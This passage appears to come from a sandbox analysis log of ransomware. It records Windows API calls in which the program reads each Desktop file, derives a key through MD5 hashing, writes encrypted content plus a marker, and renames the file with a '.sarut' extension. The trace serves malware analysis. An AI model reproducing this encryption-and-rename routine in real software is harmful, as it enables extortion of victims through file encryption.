lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.953] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.953] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.953] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.953] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.953] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.953] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.953] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.954] CloseHandle (hObject=0x5c4) returned 1 [0269.956] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0269.957] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8a0) returned 0x311d708 [0269.957] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0269.957] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\21IMcPko8Du_3IsFB-Q.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\21imcpko8du_3isfb-q.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\21IMcPko8Du_3IsFB-Q.gif.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\21imcpko8du_3isfb-q.gif.sarut")) returned 1 [0269.957] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.957] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.959] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0269.959] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaaf66b0, ftCreationTime.dwHighDateTime=0x1d4d362, ftLastAccessTime.dwLowDateTime=0x72ecb310, ftLastAccessTime.dwHighDateTime=0x1d4cbae, ftLastWriteTime.dwLowDateTime=0x72ecb310, ftLastWriteTime.dwHighDateTime=0x1d4cbae, nFileSizeHigh=0x0, nFileSizeLow=0x11dd7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kqfuGsV.m4a", cAlternateFileName="")) returned 1 [0269.959] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.959] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0269.959] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.959] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\kqfuGsV.m4a") returned=".m4a" [0269.959] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\kqfuGsV.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\kqfugsv.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.966] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=73175) returned 1 [0269.966] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.969] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11db1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.969] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.970] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.970] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.970] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.970] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x11dd7, lpOverlapped=0x0) returned 1 [0269.971] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.971] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.971] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.971] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.971] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0269.972] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.973] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.973] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.973] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.973] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.973] GetLastError () returned 0x0 [0269.973] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.973] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0269.973] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.973] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11de0) returned 0x311d708 [0269.973] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.973] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.973] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x11dd2, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x11dd2, lpOverlapped=0x0) returned 1 [0269.974] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.974] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11dd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.974] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.974] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.974] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.974] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.974] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.974] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.974] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.974] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.974] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.975] CloseHandle (hObject=0x5c4) returned 1 [0269.976] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa50e8 [0269.976] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0269.976] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa50e8 | out: hHeap=0x640000) returned 1 [0269.976] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\kqfuGsV.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\kqfugsv.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\kqfuGsV.m4a.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\kqfugsv.m4a.sarut")) returned 1 [0269.977] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.977] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.978] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0269.978] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7b00ac0, ftCreationTime.dwHighDateTime=0x1d4c8f2, ftLastAccessTime.dwLowDateTime=0x166ca230, ftLastAccessTime.dwHighDateTime=0x1d4cece, ftLastWriteTime.dwLowDateTime=0x166ca230, ftLastWriteTime.dwHighDateTime=0x1d4cece, nFileSizeHigh=0x0, nFileSizeLow=0xf69f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lpSHh6l1qJtVRTN-Ti0s.swf", cAlternateFileName="LPSHH6~1.SWF")) returned 1 [0269.978] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.978] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0269.978] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.978] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lpSHh6l1qJtVRTN-Ti0s.swf") returned=".swf" [0269.979] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lpSHh6l1qJtVRTN-Ti0s.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\lpshh6l1qjtvrtn-ti0s.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.980] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=63135) returned 1 [0269.980] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.982] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xf679, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.982] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.984] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.984] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.984] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.984] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xf69f, lpOverlapped=0x0) returned 1 [0269.985] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.985] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.985] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.985] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.985] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0269.986] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.987] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.987] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.987] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.987] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.987] GetLastError () returned 0x0 [0269.987] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.987] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0269.987] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.987] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xf6a0) returned 0x311d708 [0269.987] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.987] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.988] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0xf69a, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0xf69a, lpOverlapped=0x0) returned 1 [0269.988] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.988] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xf69f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.988] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.988] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.988] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.988] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.988] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.988] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.988] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.988] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.988] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.989] CloseHandle (hObject=0x5c4) returned 1 [0269.992] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0269.992] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8a0) returned 0x311d708 [0269.992] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0269.992] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lpSHh6l1qJtVRTN-Ti0s.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\lpshh6l1qjtvrtn-ti0s.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lpSHh6l1qJtVRTN-Ti0s.swf.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\lpshh6l1qjtvrtn-ti0s.swf.sarut")) returned 1 [0269.993] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.993] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0269.994] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71b58600, ftCreationTime.dwHighDateTime=0x1d4c7a5, ftLastAccessTime.dwLowDateTime=0x81836460, ftLastAccessTime.dwHighDateTime=0x1d4d18e, ftLastWriteTime.dwLowDateTime=0x81836460, ftLastWriteTime.dwHighDateTime=0x1d4d18e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lTnvEEeQtMe", cAlternateFileName="LTNVEE~1")) returned 1 [0269.994] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa50e8 [0269.994] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0269.994] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0269.994] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30824e0 [0269.994] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4fd8 [0269.994] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082288 [0269.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30828a0 | out: hHeap=0x640000) returned 1 [0269.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa51f8 | out: hHeap=0x640000) returned 1 [0269.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0269.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3083390 | out: hHeap=0x640000) returned 1 [0269.994] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa51f8 [0269.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0269.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa50e8 | out: hHeap=0x640000) returned 1 [0269.995] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0b1a30, ftCreationTime.dwHighDateTime=0x1d4cb80, ftLastAccessTime.dwLowDateTime=0xb1f86be0, ftLastAccessTime.dwHighDateTime=0x1d4c653, ftLastWriteTime.dwLowDateTime=0xb1f86be0, ftLastWriteTime.dwHighDateTime=0x1d4c653, nFileSizeHigh=0x0, nFileSizeLow=0x101de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pla8UWh-7PWmaOK2.mp3", cAlternateFileName="PLA8UW~1.MP3")) returned 1 [0269.995] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.995] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0269.995] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.995] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\Pla8UWh-7PWmaOK2.mp3") returned=".mp3" [0269.995] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\Pla8UWh-7PWmaOK2.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\pla8uwh-7pwmaok2.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.996] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=66014) returned 1 [0269.996] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.998] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x101b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.999] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.000] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0270.000] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0270.000] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0270.000] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x101de, lpOverlapped=0x0) returned 1 [0270.001] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.001] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0270.001] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.001] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.001] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0270.002] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.002] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.002] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.002] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0270.002] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.002] GetLastError () returned 0x0 [0270.003] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.003] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0270.003] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.003] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x101e0) returned 0x311d708 [0270.003] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0270.003] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0270.003] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x101d9, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x101d9, lpOverlapped=0x0) returned 1 [0270.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.004] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x101de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.004] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0270.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0270.004] RtlAllocateHeap 